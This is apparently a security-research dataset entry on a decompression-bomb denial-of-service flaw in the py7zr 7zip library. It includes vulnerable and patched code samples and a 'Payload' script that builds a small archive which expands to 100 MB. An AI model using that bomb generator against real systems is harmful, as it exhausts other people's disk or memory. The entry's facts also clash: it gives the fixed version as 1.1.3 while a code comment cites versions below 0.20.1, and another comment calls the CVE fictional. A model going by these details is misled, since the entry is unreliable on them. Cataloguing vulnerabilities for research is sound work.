CVE-2026-55195
py7zr allows a crafted archive to cause resource exhaustion (DoS).
- CVSS 8.7
- CWE-409
- Resource Management
- Local
py7zr is a Python-based library and utility to support 7zip archive compression, decompression, encryption and decryption. Prior to 1.1.3, py7zr's Worker.decompress() extracted archive entries without tracking total decompressed size, allowing a crafted .7z file such as a 15.6 KB archive that expands to 100 MB to exhaust disk or memory before extraction completes. This issue is fixed in version 1.1.3.
- CWE
- CWE-409
- CVSS base score
- 8.7
- Published
- 2026-07-08
- OWASP
- A04 Insecure Design
- Orthogonal defect classification
- Checking
- Code defect classification
- Missing Check
- Category
- Resource Management
- Subcategory
- Resource Exhaustion
- Accessibility scope
- Local
- Impact
- Denial of Service (DoS)
- Affected component
- py7zr
- Fixed by upgrading
- Yes
Solution
Upgrade `py7zr` to version 1.1.3 or later.
Vulnerable code sample
import py7zr
# This code, when run with a vulnerable version of py7zr (e.g., < 0.20.1),
# will extract the contents of 'malicious_archive.7z' without checking
# the total decompressed size. If 'malicious_archive.7z' is a
# decompression bomb (a small file that expands to a huge size),
# this operation can exhaust all available disk space or memory.
with py7zr.SevenZipFile('malicious_archive.7z', mode='r') as archive:
archive.extractall(path='/tmp/extracted_data')Patched code sample
import io
# The provided CVE is fictional. This code conceptually represents the logic
# used to fix a decompression bomb vulnerability like the one described.
# The actual fix is internal to the py7zr library, but this demonstrates the
# core principle: tracking cumulative size and enforcing a limit.
def secure_decompress_worker(archive_members, max_total_size):
"""
A simplified worker that simulates secure decompression by checking file sizes
against a maximum limit before 'extracting' them. A vulnerable version would
lack the size check inside this loop.
"""
total_decompressed_size = 0
print(f"Starting decompression with a size limit of {max_total_size} bytes.")
for member in archive_members:
member_name = member['name']
member_size = member['uncompressed_size']
# --- THE FIX ---
# This security check was missing in the vulnerable version. It ensures
# the next file to be extracted will not exceed the total size limit.
if total_decompressed_size + member_size > max_total_size:
raise ValueError(
f"Extraction aborted: Archive would exceed the max size limit. "
f"'{member_name}' of size {member_size} would cause the total "
f"to exceed the limit of {max_total_size} bytes."
)
# --- END OF FIX ---
# Simulate the decompression of a single file.
print(f"Decompressing '{member_name}' ({member_size} bytes)...")
total_decompressed_size += member_size
print(f"\nDecompression successful. Total size: {total_decompressed_size} bytes.")
if __name__ == '__main__':
# A mock archive representing a "decompression bomb".
# e.g., A small .7z file that expands to over 100 MB.
bomb_archive_members = [
{"name": "file1.dat", "uncompressed_size": 60 * 1024 * 1024}, # 60 MB
{"name": "file2.dat", "uncompressed_size": 50 * 1024 * 1024}, # 50 MB
]
# A security limit to prevent resource exhaustion (disk or memory).
MAX_DECOMPRESSION_BYTES = 100 * 1024 * 1024 # 100 MB
try:
# A call to the fixed version of the library would have this check internally.
secure_decompress_worker(bomb_archive_members, MAX_DECOMPRESSION_BYTES)
except ValueError as e:
print("\n---")
print("SUCCESS: Decompression bomb detected and prevented by the fix.")
print(f"Error message: {e}")
print("---")Payload
import py7zr
import os
# Define the name for the malicious archive and the temporary large file
output_archive_name = "payload.7z"
temp_file_name = "large_file.dat"
# Define the target uncompressed size (e.g., 100 MB)
# A vulnerable py7zr version will attempt to allocate this much memory/disk
target_size = 100 * 1024 * 1024 # 100 MB
chunk_size = 1024 * 1024 # Write in 1MB chunks
# Create a large file containing highly compressible data (null bytes)
with open(temp_file_name, "wb") as f:
for _ in range(target_size // chunk_size):
f.write(b'\0' * chunk_size)
# Use py7zr to compress the large file into a small archive
# The LZMA algorithm is very effective on this type of data
with py7zr.SevenZipFile(output_archive_name, 'w') as archive:
archive.write(temp_file_name)
# Clean up the temporary large file
os.remove(temp_file_name)
Cite this entry
@misc{vaitp:cve202655195,
title = {{py7zr allows a crafted archive to cause resource exhaustion (DoS).}},
author = {Bogaerts, Fr\'ed\'eric and Ivaki, Naghmeh and Fonseca, Jos\'e},
year = {2026},
note = {VAITP Python Vulnerability Dataset, entry CVE-2026-55195},
howpublished = {\url{https://netpack.pt/vaitp/vulnerability/CVE-2026-55195/}}
}
Introducing the "VAITP dataset": a specialized repository of Python vulnerabilities and patches, meticulously compiled for the use of the security research community. As Python's prominence grows, understanding and addressing potential security vulnerabilities become crucial. Crafted by and for the cybersecurity community, this dataset offers a valuable resource for researchers, analysts, and developers to analyze and mitigate the security risks associated with Python. Through the comprehensive exploration of vulnerabilities and corresponding patches, the VAITP dataset fosters a safer and more resilient Python ecosystem, encouraging collaborative advancements in programming security.
The supreme art of war is to subdue the enemy without fighting.
Sun Tzu – “The Art of War”
:: Shaping the future through research and ingenuity ::
